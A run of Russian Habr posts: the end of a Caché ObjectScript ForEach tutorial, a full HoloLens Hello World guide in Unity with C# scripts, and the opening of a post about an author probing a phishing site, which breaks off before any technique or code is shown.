tmp=##class(test.ForEach).%New($listbuild(2,"zxc",5,"asd,ert")) ``` **3. Инициализация списка объектов** ``` set list=##class(%ListOfObjects).%New() for i="f1","f2","f3",7 do list.Insert(##class(test.myclass).%New(i)) set tmp=##class(test.ForEach).%New(list) ``` **Внимание!** Класс test.ForEach в методе %New ожидает коллекцию-наследника от [%Collection.AbstractList](http://docs.intersystems.com/cache201512/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=%25Collection.AbstractList) Примеры использования --------------------- В классе test.myclass реализованы несколько методов, которые мы будем вызывать для каждого из элементов коллекции. Например Dump — выводит информацию об элементе и переданных параметрах. Sum — суммирует аргументы, выводит результат. **Примеры с коллекцией чисел** Инициализируем коллекцию: ``` set tmp=##class(test.ForEach).%New("2,3,5") ``` Выполним в терминале: ``` >do tmp.Do("test.myclass:Dump") Элемент = 2, Выходной аргумент = "", Дополнительные аргументы = "" Элемент = 3, Выходной аргумент = "", Дополнительные аргументы = "" Элемент = 5, Выходной аргумент = "", Дополнительные аргументы = "" >set r="result" do tmp.Do("test.myclass:Dump",.r,"p1","p2") Элемент = 2, Выходной аргумент = "result", Дополнительные аргументы = "p1,p2" Элемент = 3, Выходной аргумент = "result", Дополнительные аргументы = "p1,p2" Элемент = 5, Выходной аргумент = "result", Дополнительные аргументы = "p1,p2" ``` **Остальные примеры с числами** ``` >kill r do tmp.Do("test.myclass:Sum",.r) write r 10 >kill r do $system.OBJ.DisplayError(tmp.Do("test.myclass:Sum",.r,5)) ОШИБКА #5001: Возникла ошибка на элементе: 5 >do $system.OBJ.DisplayError(tmp.Do("PrintLn")) ОШИБКА #5654: Метод '2:PrintLn' не существует >do $system.OBJ.DisplayError(tmp.Do("test.myclass:PrintLn")) ОШИБКА #5001: Метод PrintLn не является методом класса test.myclass >set r=10 do tmp.Do(,.r) write r 20 (=10 +2+3+5) >kill r do tmp.Do(,.r) write r 10 (=2+3+5) >set r=-10 do tmp.Do("+",.r) write r 0 (=-10 +2+3+5) >set r=1 do tmp.Do("*",.r) write r 30 (=2*3*5) >kill r do tmp.Do("_",.r,"^") write r ^2^3^5 (склейка с разделителем) >do tmp.Do("min",.r) write r 2 (минимум) >do tmp.Do("max",.r) write r 5 (максимум) >do tmp.Do("avg",.r) write r 3.333333333333333334 (=(2+3+5)/3) >kill r do tmp.Do($listbuild("set args(1,1)=args(1,1)+el"),.r) write r 10 (=2+3+5) >set r="r" do tmp.Do($listbuild("do sub^prog(el,args...)"),.r,"p1","p2") -------- el = 2 args=1 args(1)=3 args(1,1)="r" args(1,2)="p1" args(1,3)="p2" -------- el = 3 args=1 args(1)=3 args(1,1)="r" args(1,2)="p1" args(1,3)="p2" -------- el = 5 args=1 args(1)=3 args(1,1)="r" args(1,2)="p1" args(1,3)="p2" >set r="r" do tmp.Do($listbuild("do1 sub^prog(el,args...)"),.r,"p1","p2") ОШИБКА #5745: Ошибка компиляции! ``` **Примеры использования для коллекции объектов** Инициализация: ``` set list=##class(%ListOfObjects).%New() for i="f1","f2","f3" do list.Insert(##class(test.myclass).%New(i)) set tmp=##class(test.ForEach).%New(list) ``` Проверка в терминале: ``` >do tmp.Do("test.myclass:Dump") Элемент = "f1", Выходной аргумент = "", Дополнительные аргументы = "" Элемент = "f2", Выходной аргумент = "", Дополнительные аргументы = "" Элемент = "f3", Выходной аргумент = "", Дополнительные аргументы = "" >do tmp.Do("PrintLn") "f1" "f2" "f3" >do tmp.Do("PrintLn",,"Элемент = ") Элемент = "f1" Элемент = "f2" Элемент = "f3" >kill r do tmp.Do("Concat",.r,"**") write r **f1**f2**f3 >kill r do $system.OBJ.DisplayError(tmp.Do("Concat",.r,"f3")) ОШИБКА #5001: Возникла ошибка на элементе: f3 >do $system.OBJ.DisplayError(tmp.Do("PrintLn1")) ОШИБКА #5654: Метод 'test.myclass:PrintLn1' не существует >do $system.OBJ.DisplayError(tmp.Do("Sum",.r)) ОШИБКА #5001: Метод Sum не является методом экземпляра класса test.myclass >do tmp.Do("SetField",,"blablabla"), tmp.Do("PrintLn",,"Элемент = ") Элемент = "blablabla" Элемент = "blablabla" Элемент = "blablabla" >do tmp.Do($listbuild("do el.PrintLn(.args)")) "blablabla" "blablabla" "blablabla" >do tmp.Do($listbuild("write ""field="",el.field,!")) field=blablabla field=blablabla field=blablabla ``` Без внимания остались другие типы коллекций, например: массивы, глобалы, таблицы, потоки. Но зато теперь вы знаете «как это работает»… [Исходники классов и примеров.](https://www.dropbox.com/s/mxusf6fsxx48v75/ForEach.zip?dl=0) **Disclaimer**: *данная статья опубликована с разрешения автора, пожелавшего остаться неизвестным.* Спасибо за внимание!
https://habr.com/ru/post/264983/
null
ru
null
# Пишем Hello World для HoloLens > *Спешим поделиться уникальным материалом подготовленным специально для нашего блога [Глебом Захаровым](https://habrahabr.ru/users/zakbelg/), HoloLens Lead компании [Zengalt](http://zengalt.com/) – пошаговая инструкция по разработке приложения для Microsoft HoloLens и его запуска в эмуляторе. В статье вы найдете также обзор самого устройства и узнаете о типах приложений.* [![](https://habrastorage.org/r/w1560/files/3f7/9d9/907/3f79d9907e8b4afc80f8b344dbdc8532.png)](https://habrahabr.ru/company/microsoft/blog/310446/) HoloLens — это Windows 10 PC (2GB RAM, 64GB SSD, x86 CPU, GPU, HPU, BT, WiFi, [подробно спецификации можно посмотреть тут](https://www.microsoft.com/microsoft-hololens/en-us/development-edition)) в виде устройства, похожего на очки для горных лыж. Через очки видно все вокруг, хотя они немного затемняют картинку. На хабре уже были обзор этого устройства с конференции [//Build](https://habrahabr.ru/post/281539/). В этой статье я предлагаю вам написать приложение для HoloLens и запустить его в эмуляторе. ### Краткий обзор устройства В визор встроены два прозрачных экрана – по одному перед каждым глазом. Вперед и по сторонам смотрят несколько камер, а над ушами расположены два небольших динамика, звук из которых накладывается на звук окружающей среды. Картинка стереоскопическая. Поэтому нужно думать про фокусное расстояние. Например, мы в самом начале выводили отладочный текст, используя фокусное расстояние 30 сантиметров. Глазам было больно. Клавиатуры и мыши нет, хотя их и можно подключить через Bluetooth. Основной способ управления устройством – курсор, который двигается вместе с поворотом головы (“gaze”), и жест, похожий на щипок, заменяющий обычный тап (“air tap”). Неплохо работает управление голосом. Хотя, пока доступен только английский язык. При помощи камер устройство сканирует окружающее пространство и превращает его в 3D модель, доступ к которой можно получить прямо в Unity (для разработки под устройство используется специальная версия) или через Windows API. Одно из самых частых применений этой возможности – поиск пола и установка на него голограмм. ![](https://habrastorage.org/r/w780q1/files/b0f/51c/f41/b0f51cf41172436c981a15c5287b5e75.jpg) В будущем подобные устройства заменят все, у чего есть экраны и звук. Представьте, что вы можете редактировать в реальном времени то, как вы видите и слышите реальный мир. Например, у соседей играет музыка, которая вам не нравится. Вы можете от нее избавиться или заменить на ту, которая нравится вам. Без помощи дрели можете повесить куда угодно сколько угодно постеров или маркерных досок. Одним жестом переставить (виртуальный) телевизор. Смартфоны, телевизоры, вывески, дорожные знаки, лампочки и дисплеи на бытовой технике – все это уйдет в прошлое, как только устройства, подобные HoloLens стану стоить столько, сколько стоит сейчас смартфон, а выглядеть будут как обычные очки. Это только самые очевидные примеры, мы уверены, что изменения будут более глобальными. Например, будущее может выглядеть так (надеемся, что нет): То есть эта технология, в отличие от чистого VR – следующая платформа для всего. Разрабатывать под HoloLens имеет смысл начинать прямо сейчас потому что уже есть платежеспособный спрос со стороны банков, нефтянки, образования, машиностроения, архитекторов. И у вас есть шанс стать первыми. Устройства становятся доступными гораздо быстрее, чем мы ожидали. Еще пару месяцев назад они были редкостью, а сейчас каждый может заказать пять штук в американском Microsoft Store. ![](https://habrastorage.org/r/w780q1/files/eb1/d66/ca0/eb1d66ca0fe7420f957088de0c165771.jpg) Поскольку HoloLens работает на Windows 10, приложения для него разрабатываются на платформе Universal Windows Platform (UWP). Это означает что приложения, разработанные ранее для мобильных устройств, десктопа и Xbox на базе UWP можно запустить и на HoloLens. ![](https://habrastorage.org/r/w780q1/files/92c/0e9/fd6/92c0e9fd67004f8199569a66499954fc.jpg) ### Типы HoloLens приложений Набор инструментов разработчика сильно зависит от типа приложения которые вы хотите сделать. На данный момент приложения для HoloLens поддерживает 2 вида представлений (views): 2D views и Holographic views. 2D view – это отображение привычного нам 2D контента в виде плашки внутри shell HoloLens. (см. скриншот выше) Одновременно множество приложений могут рендериться в 2D view, поэтому организовать рабочее пространство вокруг себя с одновременно запущенной почтой, бразуером и skype не составит труда. Holographic View — в этом режиме приложение может создавать вокруг вас голограммы. При этом голограммы других приложений и shell ОС не видны, а любые системные нотификации будут произноситься голосом c помощью Cortana. ![](https://habrastorage.org/r/w780q1/files/a6d/671/343/a6d671343a4849f5b8ffa8d31956f752.jpg) [Land of Dinosaurs](https://www.microsoft.com/en-us/store/p/dinosaurs-by-zengalt/9nblggh50zx1) — наше первое приложение в HoloLens Store. Между этими двумя типами можно переключаться. Один из частых сценариев совмещения нескольких view в одном приложений – переход из Holographic View в 2D view для ввода текста в поле ввода с помощью экранной клавиатуры. Для разработки 2D views основным инструментом будет Visual Studio и UWP API с XAML и/или DirectX. Для разработки Holographic Views предлагается использовать 2 подхода – разработка с использованием Visual Studio и DirectX или Unity3D. В рамках данной статьи мы рассмотрим создание приложения с одним Holographic View в Unity3D. ### Шаг 0: Устанавливаем инструменты #### Системные требования * Если у вас еще нет устройства, то для запуска эмулятора потребуется Windows 10 64-bit с поддержкой Hyper-V: Windows 10 Pro, Enterprise или Education. Иначе хватит и Win 10 Home * 64-bit CPU c 4 и более ядрами и поддержкой виртуализации * 8 Gb RAM или более (Если вы планируете разрабатывать сетевые приложения то 12Gb и более, т.к. для запуска нескольких эмуляторов HoloLens потребуется порядка 10-11Gb RAM * Поддержка в BIOS следующих функций: 1. Hardware-assisted virtualization 2. Second Level Address Translation (SLAT) 3. Hardware-based Data Execution Prevention (DEP) * GPU (Эмулятор может работать с неподдерживаемым GPU, но будет работать значительно медленнее) ![](https://habrastorage.org/r/w1560/files/f10/0e0/58a/f100e058af6d40e39c99b5c8fe9e536e.png) Если ваш ПК соответствует этим требованиям и вы планируете для тестирования использовать HoloLens Emulator, вам потребуется активировать в BIOS вышеуказанные настройки. После этого в панели управления Windows необходимо включить поддержку Hyper-V. Для этого перейдите в Control Panel -> Programs -> Programs and Features -> Turn Windows Features on or off. Найдите и выберите секцию Hyper-V. После завершения установки перезагрузитесь. #### Инструменты * [Windows 10](https://www.microsoft.com/en-us/software-download/windows10/) * [Visual Studio 2015 Update 3](https://www.visualstudio.com/en-us/news/releasenotes/vs2015-update3-vs) (Community Edition) * [Windows 10 SDK v. 1511 или выше](https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk)(Если вы его не установили вместе с Visual Studio 2015) * [HoloLens Emulator](http://go.microsoft.com/fwlink/?LinkID=724053) или [HoloLens Development Edition](https://www.microsoft.com/microsoft-hololens/en-us/development-edition) * [Unity 3D HoloLens Technical Preview](https://unity3d.com/partners/windows/hololens#download) Во избежание ошибок во время сборки приложения, инструменты рекомендуется устанавливать последовательно, в указанном порядке. ### Шаг 1: Создание проекта Теперь у нас есть все необходимое для работы, давайте начнем делать наше hello world приложение. Запустите Unity Hololens Technical Preview (HTP) и создайте пустой проект. Выберите имя и расположение на диске. Для типа проекта выберите 3D и нажмите *Create project*. ![](https://habrastorage.org/r/w1560/files/a17/78f/15d/a1778f15d475417f86b4b031198f4437.png) #### Настройка главной камеры После создания проекта Unity создаст и откроет автоматически пустую сцену с камерой и источником освещения. Обратите внимание на следующие панели: 1. *Scene* – элементы, которые мы помещаем в 3D мир. Сейчас это только источник света и камера. 2. *Game* просмотр приложения в режиме игры 3. *В Hierarchy* находятся все элементы вашей сцены 4. *Inspector* показывает свойства выбранного элемента 5. *Project* все файлы рерурсов, добавленные для текущего проекта. Давайте начнем с настройки камеры. В режиме Holographic View главная камера – это позиция между глаз человека. Поэтому сбрасываем смещение по умолчанию (0,0,0). Позиция и поворот камеры во время работы приложения в эмуляторе или на устройстве будут меняться вместе с положением и наклоном головы пользователя. ![](https://habrastorage.org/r/w1560/files/019/dd7/a4d/019dd7a4dca240f8ab1a2b6b08c3472d.png) Вы можете настроить расположение вкладок как вам удобно. HoloLens позволяет проецировать 3D объекты в реальном мире. Для этого у камеры должен быть прозрачный фон. Чтобы его задать установите значение *Clear Flags* камеры в *Solid Color*. После установите *Background* в [0,0,0,0] или #00000000. Для более точной имитации устройства в Unity установите *Field of View* камеры в 16-20. ### Шаг 2: Добавим в сцену 3d объект Мы подготовили для статьи 3D модель [Hello world.](https://drive.google.com/file/d/0B-U_29IHtG_vQWJMU25HNW8yYlE/view) Загрузите и добавьте .fbx файл модели в папку *Assets* проекта. Или перетащите файл в область *Assets* панели *Project*. После успешного импорта модели добавьте ее в сцену. Для этого перетащите модель HelloWorld из панели Project в окно Hierarchy. Установите позицию по Z=3 и разверните надпись на 180, чтобы она смотрела в камеру по умолчанию. Исходная модель довольно большая, давайте ее немного уменьшим установив *Scale* в 0.25 и сохраните сцену с любым именем. ![](https://habrastorage.org/files/83c/4cc/a0f/83c4cca0ff2c4b07aa95d311e7cd84fe.gif) #### Знакомство с HoloToolkit Компания Microsoft вместе с сообществом разработали набор компонентов для ускорения разработки приложений на HoloLens. На текущий момент в репозитории на [github](https://github.com/Microsoft/HoloToolkit-Unity) содержатся компоненты и примеры работы с API: * Ввод с помощью жестов, генерация речи * Shared experience – инструменты для реализации совместного опыта в приложении * Определение и обработка поверхностей в пространстве * Пространственное звучание * Ускорение процесса сборки приложения * Готовые компоненты и скрипты для курсора, управления камерой и другие Давайте импортируем HoloToolkit в наш проект и рассмотрим некоторые из компонентов. Для этого склонируйте репозиторий HoloToolkit к себе на диск и откройте его в Unity. В панели *Project* в контекстном меню корневой папки *Assets* выберите *Export Package*. Дождитесь загрузки списка файлов для экспорта, нажмите *Export* и укажите путь для сохранения пакета. ![](https://habrastorage.org/r/w1560/files/128/09c/a95/12809ca95c1c4da88cbf3eee8197c6ad.png) После окончания экспорта импортируйте этот пакет в вашей проект, вызвав контекстное меню на корневой папке *Assets*. Выберите *Import Package -> Custom Package*. После окончания в проект добавятся ассеты из HoloToolkit. В меню Unity появится новая группа меню, позволяющая быстро применять общие настройки для проекта и делать быстрый деплой. В рамках статьи мы не будем пользоваться этими опциями с целью обучения. Подробную настройку по импорту HoloToolkit в проект можно найти в вики проекта на github: [HoloToolkit Getting Started](https://github.com/Microsoft/HoloToolkit-Unity/blob/master/GettingStarted.md) #### Добавляем компоненты для отладки в Unity Для начала давайте добавим управление камерой в редакторе Unity. Выберите в панели *Hierarchy* объект камеры. В панели *Inspector* нажмите *Add Component* и в открывшемся окне введите *Manual*. Выберите в списке компонент *Manual Camera Control*. Теперь нажмите Ctrl+P или кнопку Play на панели вверху. Приложение запустится и по нему можно будет перемещаться с помощью WASD и смотреть вокруг с помощью Shift. В настройках скрипта *Manual Camera Control* можно настроить клавиши управления, чувствительность мыши, оси перемещение и пр. на свой вкус. #### Отображение комнаты в Unity и эмуляторе Если вы разрабатываете приложение под HoloLens вы обязательно столкнетесь с необходимостью размещать ваши голограммы с привязкой к окружающему пространству. Примеры привести легко: * Практически любое приложение под HoloLens требует понимания уровня пола в помещении где оно запущено для корректного размещения голограмм. * Возможно вы пишете action/strategy игру возможно вы захотите чтобы монстры/роботы/корабли [появлялись из стен](https://www.youtube.com/watch?v=Hf9qkURqtbM) вам нужно понимать где находятся стены. Для этого у HoloLens есть специальное API для получения поверхностей в реальном времени. В Unity и HoloToolkit для работы с ним есть несколько готовых компонентов, которых достаточно для реализации большинства таких кейсов. Для начала давайте загрузим готовую модель комнаты и отобразим ее в Unity. Для этого найдите в ресурсах проекта во вкладке Project готовый компонент *SpatialMapping* и добавьте его в сцену. Данный компонент состоит из 3х частей: * *SpatialMappingObserver* – скрипт использующий API Unity *SurfaceObserver* для получения поверхностей от HoloLens. В нем можно задать интересующий вас объем в пространстве, в рамках которого вы хотите получать поверхности, количество полигонов на кубометр пространства и частоту обновлений. Анализ поверхностей – трудоемкий процесс, поэтому точная настройка параметров крайне важна для быстрой работы приложения. * *SpatialMappingManager* – управление источником поверхностей, как правило это скрипт SpatialMappingObserver в эмуляторе или ObjectSurfaceObserver в редакторе Unity. * *ObjectSurfaceObserver* – загрузка готовой модели комнаты из устройства или эмулятора. В импортированном пакете HoloToolkit уже есть готовая модель комнаты. Давайте загрузим ее в *ObjectSurfaceObserver*. Выберите в панели *Inspector* поле *Room Model*, найдите в поиске объект SRMesh и выберите его двойным кликом. Запустите приложение и у вас должна появиться модель комнаты, отрисованная белой сеткой. При этом объекты поверхностей будут динамически добавлены при запуске в объект *SpatialMapping*. ![](https://habrastorage.org/files/388/274/50a/38827450ad7d4f77bfee6291a31c80a2.PNG) Как видно на скриншоте, добавленная ранее надпись практически полностью скрывается моделью помещения. Это также одна из приятных возможностей интеграции с пространством в HoloLens — можно добавить тени от голограмм или перекрытие голограмм окружающием миром. #### Взгляд, жесты и привязка к поверхностям Решить данную проблему можно разными способами. В рамках данной статьи мы позволим пользователю устанавливать данную надпись на окружающих поверхностях используя взгляд и жесты. Для этого добавим 2 скрипта отвечающих за управление взглядом и жестами к главной камере – *GazeManager* и *GestureManager*. К объекту надписи добавим скрипт *Tap To Place* и *Box Collider*. Отключим отображение комнаты по умолчанию через свойство *Draw Visual Meshes* у компонента *SpatialMappingManager* и запустим приложение. В режиме игры посмотрите на надпись и нажмите пробел. Теперь надпись будет перемещаться вместе с нами и если посмотреть на поверхность – будет автоматически к ней «прилипать». Каждый кадр *GazeManager* проверяет на какой объект смотрит пользователь и запоминает его используя стандартное API Unity [Physics.Raycast](https://docs.unity3d.com/ScriptReference/Physics.Raycast.html). Помните мы добавили *Box Collider* для нашей надписи? Этот объект описывает форму объекта для просчета столкновений физическим движком, что позволяет нам легко проверить смотрит ли человек на объект. Далее по тапу (клавиша пробел в Unity) проверяется смотрит ли человек на какой-то объект, и если да — объекту посылается сообщение OnSelect по которому для нашей надписи в скрипте *TapToPlace* вызывается одноименный метод, который начинает или завершает процесс ее перемещения. При этом скрипт *TapToPlace* по окончанию процесса перемещения сохраняет позицию объекта в пространстве, привязывая его к так [называемому пространственному якорю](https://developer.microsoft.com/ru-ru/windows/holographic/spatial_anchors) (World Anchor). При этом сам якорь сохраняется в память устройства и при следующем запуске приложения скрипт его загрузит и надпись появляться там же, где ее оставил пользователь. У стандартной реализации скрипта *TapToPlace* есть 2 проблемы, которые нам нужно решить: * при установке на полу надпись будет наполовину погружена в пол. * надпись будет повернута от пользователя, ее вектор forward будет совпадать с forward камеры. Неплохо бы ее развернуть к пользователю. Откроем скрипт *TapToPlace* в VisualStudio/MonoDevelop/Notepad/etc. и поменяем код, отвечающий за установку объекта на поверхности. **Установка объекта в TapToPlace** ``` RaycastHit hitInfo; if (Physics.Raycast(headPosition, gazeDirection, out hitInfo, 30.0f, SpatialMappingManager.Instance.LayerMask)) { // Move this object to where the raycast // hit the Spatial Mapping mesh. // Here is where you might consider adding intelligence // to how the object is placed. For example, consider // placing based on the bottom of the object's // collider so it sits properly on surfaces. Vector3 surfacePoint = hitInfo.point; surfacePoint.y += GetComponent().bounds.extents.y/2; this.transform.position = surfacePoint; // Rotate this object to face the user. Quaternion toQuat = Camera.main.transform.localRotation; toQuat.x = 0; toQuat.z = 0; this.transform.rotation = toQuat \* Quaternion.AngleAxis(180, Vector3.up); } ``` В этом кусочке мы берем позицию пересечения луча взгляда пользователя с окружающей поверхностью: ``` Vector3 surfacePoint ``` и поднимаем ее по вертикальной оси на половину размера нашей надписи. Так, чтобы она оказалась над уровнем пола. ``` surfacePoint.y += GetComponent().bounds.extents.y/2; this.transform.position = surfacePoint; ``` Далее мы разворачиваем надпись на 180 градусов вокруг вертикальной оси с учетом поворота камеры. Получается при привязке надпись всегда будет обращена по одной оси к пользователю. На этом все, наша tap to place логика готова. #### Голосовые команды В API Windows 10 есть крайне мощное [API для работы с распознаванием и генерации речи](https://developer.microsoft.com/ru-ru/windows/speech). HoloLens имеет на борту 4 микрофона и прекрасно распознает речь. Поэтому голосовое управление в приложении крайне удачно дополняет работу с жестами. Как пример реализации подобной логики мы напишем с вами простой скрипт, который будет реагировать на фразу *Change color* и случайно менять цвет надписи. Прим. автора: код скрипта оставлен максимально простым и приведен в качестве примера. Для этого добавим в проект *C# Script* и назовем его Change Color Command. Для этого в меню Unity выберите *Assets-> Create -> C# Script*. Дважды кликните по нему в Unity чтобы открыть редактор. **Шаблон скрипта** ``` using UnityEngine; using System.Collections; public class ChangeColorCommand : MonoBehaviour { // Use this for initialization void Start () { } // Update is called once per frame void Update () { } } ``` Добавим в секцию *using* следующую строчку: ``` using UnityEngine.Windows.Speech; ``` Это позволит нам использовать встроенную в Unity обертку для работы с голосовыми командами. Добавим поле-ссылку на объект типа KeywordRecognizer и ссылку на компонент Renderer у которого мы будем менять цвет. ``` private KeywordRecognizer keywordRecognizer; public Renderer target; ``` Выполним начальную инициализацию данного компонента внутри метода Start. Метод Start будет вызван единожды после добавления этого скрипта в сцену. ``` void Start() { var commands = new[] { "Change color" }; keywordRecognizer = new KeywordRecognizer(commands); } ``` В методе Start мы задаем массив команд, которые система будет слушать. При успешном распознавании у keywordRecognizer будет вызвано событие OnPhraseRecognized, в котором мы будем выполнять смену цвета. Добавим в конец метода подписку на событие и запуск распознавания голоса. ``` keywordRecognizer.OnPhraseRecognized += KeywordRecognizerOnOnPhraseRecognized; keywordRecognizer.Start(); ``` и простую функцию-обработчик: ``` private void KeywordRecognizerOnOnPhraseRecognized(PhraseRecognizedEventArgs args) { if (args.text == "Change color") GetComponent().material.color = new Color(Random.value, Random.value, Random.value); } ``` Внутри функции мы проверяем что распозналась фраза «Change color» и меняем цвет материала объекта, к которому будет привязан этот скрипт, на случайный. **ChangeColorCommand.cs** ``` using UnityEngine; using UnityEngine.Windows.Speech; public class ChangeColorCommand : MonoBehaviour { private KeywordRecognizer keywordRecognizer; // Use this for initialization void Start() { var commands = new[] { "Change color" }; keywordRecognizer = new KeywordRecognizer(commands); keywordRecognizer.OnPhraseRecognized += KeywordRecognizerOnOnPhraseRecognized; keywordRecognizer.Start(); } private void KeywordRecognizerOnOnPhraseRecognized(PhraseRecognizedEventArgs args) { if (args.text == "Change color") GetComponent().material.color = new Color(Random.value, Random.value, Random.value); } // Update is called once per frame void Update() { } } ``` Добавим скрипт ChangeColorCommand на объект надписи и запустим приложение в Unity, чтобы проверить результат. Для проверки произнесите «Change color» и посмотрите как изменится цвет надписи. #### Оптимизация графики В данный момент наша надпись использует медленный стандартный шейдер Unity что больше подходит для высокопроизводительных платформ, чем для носимых устройств и HoloLens. Кроме того для HoloLens есть ряд специфичных оптимизаций с точки зрения графики, например использование [min16float](https://msdn.microsoft.com/en-us/library/windows/desktop/bb509646.aspx) при реализации шейдеров. В рамках статьи мы не будем детально рассматривать написание шейдеров под HoloLens. Да и к тому же в HoloToolkit есть набор настраиваемых оптимизированных стандартных шейдеров, которые покроют большинство нужд. Давайте заменим шейдер нашей надписи на StandardFast. Выберите надпись в иерархии сцены, и найдите в панели *Inspector* секцию с *Material*. Внутри в выпадающем списке выберите HoloToolkit -> StandardFast. Даже только с одной надписью наше приложение могло работать с FPS ниже 60, что негативно сказывается на стабильности голограмм. ### Шаг 3: Настройка параметров сборки Для запуска нашего приложения на HoloLens нам нужно настроить соответствующие параметры сборки в Unity – тип Windows проекта, название и [Capabilites](https://msdn.microsoft.com/en-us/windows/uwp/packaging/app-capability-declarations) пакета с приложением. ![](https://habrastorage.org/r/w1560/files/8ed/5fc/654/8ed5fc654f354acc8164c7459a0d27c7.png) 1. Откройте меню *File -> Build Settings* 2. Выберите в списке окна Build Settings Windows Store и нажмите кнопку *Switch Platform* 3. В секции *Windows Store* выберите SDK – Universal 10, UWP Build Type – D3D и поставьте галочку Unity C# Projects для отладки 4. Нажмите кнопку *Players Settings…* в окне Build Settings. В панели *Inspector* заполните название компании и имя приложения. Тут же выберите секцию настроек для *Windows Store* (п.7 на скриншоте) 5. Перейдите к секции *Other Settings* в панели инспектора и проставьте галочку у *Virtual Reality Supported*, у вас должен появиться в списке SDK ниже “Windows Holographic”. 6. Далее прокрутите панель инспектора до конца и в секции *Publishing Settings -> Capabilities* отметьте следующие пункты * Internet Client * Microphone * SpatialPerception Последним шагом в процессе настройки – оптимизация и качество ресурсов. Откройте в меню *Edit -> Quality*. В окне *Inspector* нажмите на треугольник в каждом столбце и выберите **Fastest**. Важно выбрать эти настройки и для Unity и для HoloLens чтобы видеть более-менее актуальную картинку и там и там. В этом профайле отключено сглаживание, импортированные текстуры сжимаются до половины разрешения, отключаются тени и др. Все эти профайлы можно настроить под свои нужды, на данном этапе достаточно настроек по умолчанию для этого профиля производительности. ![](https://habrastorage.org/r/w1560/files/04b/2ea/538/04b2ea5384b14070b2a525c9a966a513.png) ### Шаг 4: Сборка проекта в Visual Studio и запуск в HoloLens Emulator Итак, у нас есть наш первый готовый проект для HoloLens. Чтобы запустить его на устройстве или эмуляторе нам нужно сгенерировать проект для Visual Studio, построить и залить сборку в эмулятор или устройство. #### Построение проекта Тут все мало отличается от стандартного процесса сборки из Unity. Откройте окно *Build Settings*, нажмите *Add Open Scenes* и далее *Build*. Unity предложит вам выбрать папку где сгенерировать решение для Visual Studio. Мы в наших проектах используем для этого папку build в корне проекта. После завершения процесса сборки откройте сгенерированное решение в Visual Studio. Для запуска на эмуляторе установите в панели отладки следущие параметры: Release, x86, HoloLens Emulator 10.0.14342.1018 ![](https://habrastorage.org/r/w1560/files/e0f/6de/d06/e0f6ded06be845ccb01ce320388ba426.png) Нажимаем Ctrl+F5 или в меню Debug -> Start Without Debugging. Во время этого процесса Visual Studio: * соберет проект * запустит эмулятор * дождется загрузки ОС в эмуляторе * задеплоит и запустит наше приложение После загрузки приложения в эмулятор мы увидим примерно следующее: ![](https://habrastorage.org/r/w1560/files/d1a/12c/875/d1a12c8756684a12bc5f080beedd1d6d.png) Для перемещения в эмуляторе можно использовать WASD, управление взглядом – ЛКМ + Мышь, Тап – ПКМ, Bloom (выход в shell) – Esc. Все возможности по управлению вводом смотрите в [документации к эмулятору](https://developer.microsoft.com/en-us/windows/holographic/using_the_hololens_emulator). Есть большой бонус что эту технологию выпустил Microsoft – документация к устройству, его использованию и API крайне насыщенная и полная. Один из ключевых инструментов используемых вместе с эмулятором или самим HoloLens – Device Portal. В нем легко и удобно можно посмотреть: * Статус устройства: FPS, Power, CPU, GPU, I/O * Текущие запущенные и установленные приложения * Сделать видео или скриншот * Посмотреть поверхности помещения, определенные девайсом * Доступ к файловой системе * Настройки логирования, подключения к сети ![](https://habrastorage.org/r/w1560/files/2a5/d28/aa2/2a5d28aa2f71485d83a7da75625c8ce1.png) *Мой встроенный GPU (Intel 5500) выдает довольно скромный framerate в эмуляторе* Я сделал видео с демо приложения на одном из наших устройств: В режиме записи видео на устройстве все выглядит хуже чем на самом деле, т.к. видео пишется в 30 fps. Видны несглаженные линии и есть ощущение небольшого лага. При нормальном запуске этого нет, поэтому важно в итоге посмотреть ваше приложение на реальном устройстве. Это базовая статья о разработке под HoloLens, мы будем рады написать еще что-нибудь. Напишите в комментариях что вам интересно. Также мы планируем митап, на котором можно будет посмотреть девайс и поговорить с нами — записывайтесь [тут](http://www.meetup.com/Moscow-HoloLens-Meetup/). ### Ресурсы для изучения * [Официальная документация](https://developer.microsoft.com/en-us/windows/holographic/documentation) – гайдлайны и спецификации по разработке для DirectX и Unity * [Holographic Academy](https://developer.microsoft.com/en-us/windows/holographic/academy) – серия обучающих видео по разработке под Hololens * [HoloToolkit](https://github.com/Microsoft/HoloToolkit-Unity) – набор компонентов для ускорения разработки приложений под HL * [GalaxyExplorer](https://github.com/Microsoft/GalaxyExplorer) – opensource приложение для HoloLens, опубликованное в Store для HoloLens * [HoloLens App Development Forum](http://forums.hololens.com/) – официальные форумы по разработке * [Официальный канал HoloLens на Youtube](https://www.youtube.com/channel/UCT2rZIAL-zNqeK1OmLLUa6g/videos)
https://habr.com/ru/post/310446/
null
ru
null
# Как я взломал мошенников, или просто внутренности фишинг-панелей ### INTRO Недавно столкнулся с обычной для интернета ситуацией — классической просьбой от родственника отдать свой голос за него в каком-то голосовании. Оказалось, человека "взломали" мошенники, а ссылки на голосование вели на фишинговые ресурсы. Я увлекаюсь безопасностью, поэтому решил из интереса проверить безопасность фишингового ресурса. "Админку" мошенников удалось успешно взломать, внутри нашлось n-количество украденных учеток. Их логины были переданы в службу безопасности VK, плюс соответствующие "abuse" жалобы были направлены регистраторам, хостерам. А теперь расскажу как и какие оказываются бывают Phishing-as-Service панели... Началось все как обычно просьба от родственника отдать свой голос за него в каком-то голосовании: > Родственник: > > Привет, просто хочу выиграть :) http://x-vote.ru/votes/701738#vote ![](https://habrastorage.org/r/w780q1/webt/ge/rz/vb/gerzvbrdnoxcpcwuutckfacqbe4.jpeg) На самом деле, большинство скорее всего проигнорирует подобную просьбу, но с точки зрения безопасности возникла заинтересованность в проверке на [Race condition](https://bo0om.ru/race-condition-ru) само голосование — удастся ли 1 аккаунту отдать по факту несколько голосов, отправив их несколько в один короткий промежуток времени. К сожалению, проверить это так и не удалось. Ввиду, судя по всему, отсутствия всякого голосования, и к тому же не совсем той Oauth формой, которую хотелось бы увидеть. ![](https://habrastorage.org/r/w780q1/webt/93/7j/lu/937jlup1k5_jbihxmfxvrpanmqm.jpeg) Становится уже совсем очевидно, что это просто фишинг, и ничего более. Однако просто покидать сайт, отказавшись от удовольствия проверить на Race Condition было бы поражением, сканирование портов и поиск директорий на предмет админки или интересных файлов ни к чему не привели, поэтому, быстро прикинув, я решил не писать в форму гадости, которые могли бы вызвать у хозяев фишинг-сайта колоссально-нравственные страдания. 